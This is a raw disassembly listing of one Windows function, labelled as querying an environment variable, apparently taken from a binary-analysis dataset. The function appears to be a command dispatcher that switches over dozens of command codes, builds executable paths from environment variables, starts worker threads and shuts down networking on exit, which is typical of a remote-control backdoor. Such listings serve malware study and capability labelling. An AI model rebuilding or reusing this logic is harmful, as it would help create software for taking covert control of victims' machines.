Function at 0x401074
Capabilities:
Query environment variable

Disassembly:
push ebp
mov eax, 0x139c
mov ebp, esp
push edi
push esi
push ebx
call fcn.004128fc
sub esp, eax
mov esi, dword [ebp + 0x14]
mov edi, dword [ebp + 0xc]
mov ebx, dword [ebp + 0x10]
test esi, esi
jle 0x4010c6
mov eax, dword [ebp + 8]
cmp dword [0x413714], eax
jne 0x4010c6
mov dword [esp + 0x14], 1
mov dword [esp + 0x10], esi
mov dword [esp + 0xc], ebx
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x41b018
mov dword [esp], 0x41b20c
call fcn.0040f3a6
lea eax, [edi - 1]
cmp al, 0x51
ja case.0x4010d4.1
movzx eax, al
jmp dword [eax*4 + 0x41377c]
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
jmp 0x4011b2
lea eax, [ebx + 0x20]
mov dword [esp + 8], eax
mov eax, dword [ebp + 8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040f800
test al, al
je 0x4011c2
lea ebx, [ebp - 0x1320]
mov dword [esp], ebx
lea esi, [ebp - 0x1360]
mov dword [esp + 4], 0x40
lea edi, [ebp - 0x121c]
call fcn.0040b849
mov dword [esp + 4], 0x40
mov dword [esp], esi
call fcn.0040b7e0
mov dword [esp + 4], 0x200
mov dword [esp], edi
call fcn.0040bc1b
mov dword [esp + 0x18], ebx
lea ebx, [ebp - 0x1018]
mov dword [esp + 0x24], 0x4187f8
mov dword [esp + 0x20], edi
mov dword [esp + 0x1c], esi
mov dword [esp + 0x14], 0x4187d8
mov dword [esp + 0x10], 0x1066100
mov dword [esp + 0xc], 1
mov dword [esp + 8], str._c_.8x_s_a_s____s_a_s_a_s_a
mov dword [esp + 4], 0x1000
mov dword [esp], ebx
call fcn.0040afa3
mov dword [esp + 8], ebx
mov dword [esp + 4], 5
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00403f73
jmp case.0x4010d4.1
mov dword [esp], 0x2710
call fcn.004053d0
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403b94
jmp case.0x4010d4.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
mov dword [esp + 0x10], 0x204
lea edi, [ebp - 0x1018]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x204]
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae2b
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], 0x413750
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], edi
mov dword [esp + 8], str._s_s.exe
mov dword [esp + 4], 0x204
mov dword [esp + 0xc], eax
lea eax, [esi + 0x408]
mov dword [esp], eax
call fcn.0040afa3
mov eax, dword [ebp + 8]
mov dword [esi + 0x614], 0
mov dword [esi + 0x618], eax
mov dword [esp + 4], esi
mov dword [esp], 0x40c1f3
jmp 0x401529
lea esi, [ebp - 0x1018]
mov dword [esp + 8], 0x1000
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.0040b56d
mov eax, dword [ebp + 8]
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.0040c0e4
jmp case.0x4010d4.1
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403b94
call fcn.00401000
mov dword [esp], 0x7d0
call fcn.004053d0
jmp case.0x4010d4.1
call fcn.0040c46d
lea eax, [ebp + 8]
mov dword [esp], eax
call fcn.00403b94
call fcn.00401000
call fcn.0040c5b8
call sub.WS2_32.dll_WSACleanup
mov dword [esp], 0
call sub.KERNEL32.dll_ExitProcess
mov dword [esp + 4], ebx
mov dword [esp], 0x4187d4
call fcn.0040ce57
jmp case.0x4010d4.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
mov dword [esp + 0x10], 0x204
lea edi, [ebp - 0x1018]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x204]
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae2b
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [ebp - 0x121c]
mov dword [esp + 8], 0x10
mov dword [esp + 4], eax
mov dword [esp], esi
call fcn.0040b4ce
mov dword [esp], 0x413750
test eax, eax
lea eax, [esi + 0x408]
mov dword [ebp - 0x136c], eax
jle 0x4014aa
call sub.msvcrt.dll_getenv
lea ecx, [ebp - 0x121c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edi
mov dword [esp + 8], str._s_s._s
mov dword [esp + 4], 0x204
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x136c]
mov dword [esp], eax
call fcn.0040afa3
jmp 0x4014d5
call sub.msvcrt.dll_getenv
mov dword [esp + 0x10], edi
mov dword [esp + 8], 0x413768
mov dword [esp + 4], 0x204
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0x136c]
mov dword [esp], eax
call fcn.0040afa3
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 5
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae2b
mov dword [esi + 0x618], 0
mov dword [esi + 0x614], 0
test eax, eax
setne byte [esi + 0x60c]
mov dword [esp + 4], esi
mov dword [esp], fcn.0040578a
call fcn.004053e4
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00404278
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp + 4], ebx
lea ebx, [ebp - 0x1018]
mov dword [esp + 8], 0x204
mov dword [esp], ebx
mov dword [ebp - 0xe10], eax
mov byte [ebp - 0xe13], 0x11
mov byte [ebp - 0xe14], 0x10
mov byte [ebp - 0xe0c], 0
call fcn.0040ad48
jmp 0x4018b8
mov dword [esp], 0x230
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
movsx eax, byte [ebx]
add ebx, 2
mov edx, dword [ebp + 8]
mov dword [esi + 0x204], 0
mov byte [esi + 0x20c], 0x15
mov byte [esi + 0x20d], 0x16
mov byte [esi + 0x20e], 0x17
mov dword [esi + 0x208], eax
mov dword [esi + 0x210], edx
mov dl, byte [ebx - 1]
test eax, eax
mov byte [esi + 0x228], dl
je 0x401688
dec eax
jne 0x4016fe
lea edi, [ebp - 0x1018]
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 8], 0x204
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.0040b56d
lea edx, [ebp - 0x121c]
mov dword [esp + 4], edx
mov dword [esp + 8], 0x204
mov dword [esp], esi
mov dword [ebp - 0x136c], edx
call fcn.0040b406
mov edx, dword [ebp - 0x136c]
mov dword [esp], edx
call fcn.00405072
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae7b
mov dword [esi + 0x220], eax
mov dword [esi + 0x224], edx
jmp 0x4016fe
lea edi, [ebp - 0x1018]
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae7b
mov dword [esi + 0x220], eax
mov dword [esi + 0x224], edx
mov dword [esp], esi
call fcn.00404be8
mov dword [esi + 0x218], eax
mov dword [esi + 0x21c], edx
mov dword [esp + 4], esi
mov dword [esp], 0x40d3b3
jmp 0x401529
mov eax, dword [ebp + 8]
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040d881
jmp case.0x4010d4.1
mov dword [esp], 0x214
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
movsx eax, byte [ebx]
add ebx, 2
mov byte [esi + 0x210], 1
mov dword [esi + 0x204], eax
mov eax, dword [ebp + 8]
mov dword [esi + 0x208], eax
movzx eax, byte [ebx - 1]
mov dword [esi + 0x20c], eax
mov dword [esp + 8], 0x204
mov dword [esp + 4], ebx
mov dword [esp], esi
call fcn.0040ad48
mov dword [esp + 4], esi
mov dword [esp], 0x40d24e
jmp 0x401529
movzx eax, byte [ebx]
mov dword [esp], eax
call fcn.0040cff8
jmp case.0x4010d4.1
movzx eax, byte [ebx]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004064c2
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.0040ae2b
mov dword [esp], eax
call fcn.004065be
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.0040ae2b
mov dword [esp], eax
call fcn.0040658f
jmp case.0x4010d4.1
lea eax, [ebp - 0x1018]
mov dword [esp], eax
mov dword [esp + 8], 6
mov dword [esp + 4], ebx
call fcn.0040b2af
mov eax, dword [ebp - 0x1018]
mov dword [esp], eax
mov eax, dword [ebp - 0x1014]
mov word [esp + 4], ax
call fcn.0040669f
jmp case.0x4010d4.1
lea eax, [ebp - 0x1018]
mov dword [esp], eax
mov dword [esp + 8], 6
mov dword [esp + 4], ebx
call fcn.0040b2af
mov eax, dword [ebp - 0x1018]
mov dword [esp], eax
mov eax, dword [ebp - 0x1014]
mov word [esp + 4], ax
call fcn.004065ed
jmp case.0x4010d4.1
mov dword [esp], 0x40
call fcn.0040c25c
test al, al
mov eax, dword [ebp + 8]
jne 0x401877
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], 0
mov dword [esp + 4], 0x37
jmp 0x4011b5
lea ebx, [ebp - 0x1018]
mov dword [esp + 0xc], 0x4132d0
mov dword [esp + 8], 0x41376e
mov dword [esp + 4], 0x204
mov dword [esp], ebx
mov dword [ebp - 0xe10], eax
mov byte [ebp - 0xe14], 0x36
mov byte [ebp - 0xe13], 0x37
mov byte [ebp - 0xe0c], 0
call fcn.0040afa3
mov dword [esp], ebx
call fcn.00404305
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.004102ff
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.00410417
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.004104de
mov dword [esp + 0xc], ebx
lea ebx, [ebp - 0x1018]
mov dword [esp + 8], str._s_a_d
mov dword [esp + 4], 0x1000
mov dword [esp], ebx
mov dword [esp + 0x10], eax
call fcn.0040afa3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x38
mov dword [esp + 0xc], eax
jmp 0x4011b2
mov dword [esp], 0x40a
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
cmp byte [ebx + 1], 1
sete byte [eax + 0x408]
add ebx, 2
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x204]
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov byte [esi + 0x409], 1
mov dword [esp + 4], esi
mov dword [esp], 0x404b91
jmp 0x401529
lea esi, [ebp - 0x1018]
lea edi, [ebp - 0x121c]
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], esi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 0x10], 0x104
mov dword [esp + 0xc], edi
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea edx, [ebp - 0x1320]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0x40
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
mov dword [ebp - 0x136c], edx
call fcn.0040b205
mov edx, dword [ebp - 0x136c]
mov dword [esp], edx
call fcn.0040ae2b
mov dword [esp + 4], edi
mov dword [esp], esi
mov dword [esp + 8], eax
call fcn.0040491c
jmp case.0x4010d4.1
lea edi, [ebp - 0x1018]
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea edx, [ebp - 0x121c]
mov dword [esp + 0xc], edx
mov dword [esp + 0x10], 0x104
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
mov dword [ebp - 0x136c], edx
call fcn.0040b205
mov edx, dword [ebp - 0x136c]
mov dword [esp], edi
mov dword [esp + 4], edx
call fcn.00404a2d
test al, al
je case.0x4010d4.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1a
jmp 0x4011b2
mov dword [esp], ebx
call fcn.004049ec
test al, al
je case.0x4010d4.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b
jmp 0x4011b2
mov dword [esp], ebx
call fcn.00405050
test al, al
je case.0x4010d4.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
jmp 0x4011b2
mov dword [esp], ebx
call fcn.00405105
test al, al
je case.0x4010d4.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1d
jmp 0x4011b2
mov dword [esp], 0x314
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x204]
mov dword [esp + 0x10], 0x104
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov eax, dword [ebp + 8]
mov dword [esi + 0x308], 0
mov byte [esi + 0x310], 1
mov dword [esi + 0x30c], eax
mov dword [esp + 4], esi
mov dword [esp], fcn.004045ac
call fcn.004053e4
mov dword [0x4182a4], eax
jmp case.0x4010d4.1
mov dword [0x4182a4], 0
jmp case.0x4010d4.1
mov dword [esp], 0x210
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [ebp - 0x1018]
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov eax, dword [ebp + 8]
cmp byte [ebp - 0x1018], 0
mov dword [esi + 0x204], 0
mov byte [esi + 0x20d], 1
mov dword [esi + 0x208], eax
setne byte [esi + 0x20c]
mov dword [esp + 4], esi
mov dword [esp], fcn.00404c1f
call fcn.004053e4
mov dword [0x4182a0], eax
jmp case.0x4010d4.1
mov dword [0x4182a0], 0
jmp case.0x4010d4.1
mov dword [esp], 8
call sub.msvcrt.dll_malloc
test eax, eax
je case.0x4010d4.1
mov edx, dword [ebp + 8]
mov dword [eax], edx
cmp byte [ebx], 0
setne byte [eax + 4]
mov dword [esp + 4], eax
mov dword [esp], 0x405dd8
call fcn.004053e4
mov dword [0x4182ac], eax
jmp case.0x4010d4.1
mov dword [0x4182ac], 0
jmp case.0x4010d4.1
mov dword [esp + 4], esi
mov dword [esp], ebx
call fcn.00406199
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040be4d
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0041053c
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00405a58
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.00405d70
test al, al
je case.0x4010d4.1
mov dword [esp + 0xc], esi
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x2a
jmp 0x4011b2
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0040d9c2
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.0040da7c
jmp case.0x4010d4.1
mov dword [esp], 0x61c
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
mov dword [esp + 0x10], 0x204
lea edi, [ebp - 0x1018]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x204]
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 2
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 3
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
lea eax, [esi + 0x408]
mov dword [esp + 4], eax
mov dword [esp + 8], 0x204
mov dword [esp], edi
call fcn.0040b56d
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 4
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae2b
mov dword [esi + 0x610], eax
mov dword [esp + 0x10], 0x1000
mov dword [esp + 0xc], edi
mov dword [esp + 8], 5
mov dword [esp + 4], 7
mov dword [esp], ebx
call fcn.0040b205
mov dword [esp], edi
call fcn.0040ae2b
test eax, eax
mov eax, dword [ebp + 8]
setne byte [esi + 0x60c]
mov dword [esi + 0x618], eax
jmp 0x40151e
mov dword [esp], ebx
call fcn.0040ae2b
movzx eax, al
mov dword [esp + 8], eax
mov eax, edi
movzx edi, al
mov eax, dword [ebp + 8]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0040a7f9
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.0040ae2b
movzx eax, al
mov dword [esp + 8], eax
mov eax, edi
movzx edi, al
mov eax, dword [ebp + 8]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0040ab95
jmp case.0x4010d4.1
mov dword [esp], ebx
call fcn.0040ae2b
movzx eax, al
mov dword [esp + 8], eax
mov eax, edi
movzx edi, al
mov eax, dword [ebp + 8]
mov dword [esp + 4], edi
mov dword [esp], eax
call fcn.0040ac58
jmp case.0x4010d4.1
mov dword [esp], 0xc
call sub.msvcrt.dll_malloc
test eax, eax
mov esi, eax
je case.0x4010d4.1
lea eax, [eax + 4]
mov dword [esp + 4], ebx
add ebx, 4
mov dword [esp], eax
mov dword [esp + 8], 4
call fcn.0040b2af
lea eax, [esi + 8]
mov dword [esp + 8], 4
mov dword [esp + 4], ebx
mov dword [esp], eax
call fcn.0040b2af
mov dword [esp + 4], esi
mov dword [esp], 0x40e0f6
jmp 0x401529
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.0041217c
jmp case.0x4010d4.1
lea eax, [ebp - 0x1018]
mov dword [esp + 4], ebx
add ebx, 4
mov dword [esp], eax
mov dword [esp + 8], 4
call fcn.0040b2af
mov eax, dword [ebp - 0x1018]
mov dword [esp + 8], ebx
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004110fd
jmp case.0x4010d4.1
lea eax, [ebp - 0x1360]
mov dword [esp + 4], ebx
add ebx, 4
mov dword [esp], eax
lea edi, [ebp - 0x121c]
mov dword [esp + 8], 4
lea esi, [ebp - 0x1018]
call fcn.0040b2af
lea eax, [ebp - 0x121c]
mov dword [esp], ebx
mov dword [esp + 0x10], 0x204
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
mov dword [esp + 4], 7
call fcn.0040b205
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
lea edx, [ebp - 0x1320]
mov dword [esp + 0xc], edx
lea edi, [ebp - 0x1320]
mov dword [esp], ebx
mov dword [esp + 0x10], 0x104
mov dword [esp + 8], 2
mov dword [esp + 4], 7
not ecx
lea eax, [ecx - 1]
mov dword [ebp - 0x136c], eax
call fcn.0040b205
xor eax, eax
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov edi, esi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x10], 0x1000
mov dword [esp + 8], 3
mov dword [esp + 4], 7
not ecx
dec ecx
mov dword [ebp - 0x1370], ecx
call fcn.0040b205
mov dword [esp], esi
call fcn.0040ae2b
or ecx, 0xffffffff
mov dword [ebp - 0x1374], eax
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, esi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x10], 0x1000
mov dword [esp + 8], 4
mov dword [esp + 4], 7
not ecx
lea edx, [ecx - 1]
mov dword [ebp - 0x1378], edx
call fcn.0040b205
mov dword [esp], esi
call fcn.0040ae2b
or ecx, 0xffffffff
mov dword [ebp - 0x137c], eax
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, esi
mov dword [esp + 0xc], esi
mov dword [esp], ebx
mov dword [esp + 0x10], 0x1000
mov dword [esp + 8], 5
mov dword [esp + 4], 7
not ecx
lea edx, [ecx - 1]
mov dword [ebp - 0x1380], edx
call fcn.0040b205
mov dword [esp], esi
call fcn.0040ae2b
or ecx, 0xffffffff
mov esi, dword [ebp - 0x1370]
mov edx, eax
xor eax, eax
repne scasb al, byte es:[edi]
mov edi, dword [ebp - 0x137c]
mov dword [esp + 0x18], edx
mov edx, dword [ebp - 0x1380]
mov dword [esp + 0x1c], edi
mov edi, dword [ebp - 0x136c]
sub edx, ecx
lea eax, [edi + esi + 5]
add eax, dword [ebp - 0x1378]
lea eax, [edx + eax - 2]
add ebx, eax
mov eax, dword [ebp - 0x1374]
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x1320]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x121c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x1360]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.004111fe
jmp case.0x4010d4.1
mov eax, dword [ebp + 8]
mov dword [esp], eax
call fcn.00412640
lea esp, [ebp - 0xc]
pop ebx
pop esi
pop edi
pop ebp
ret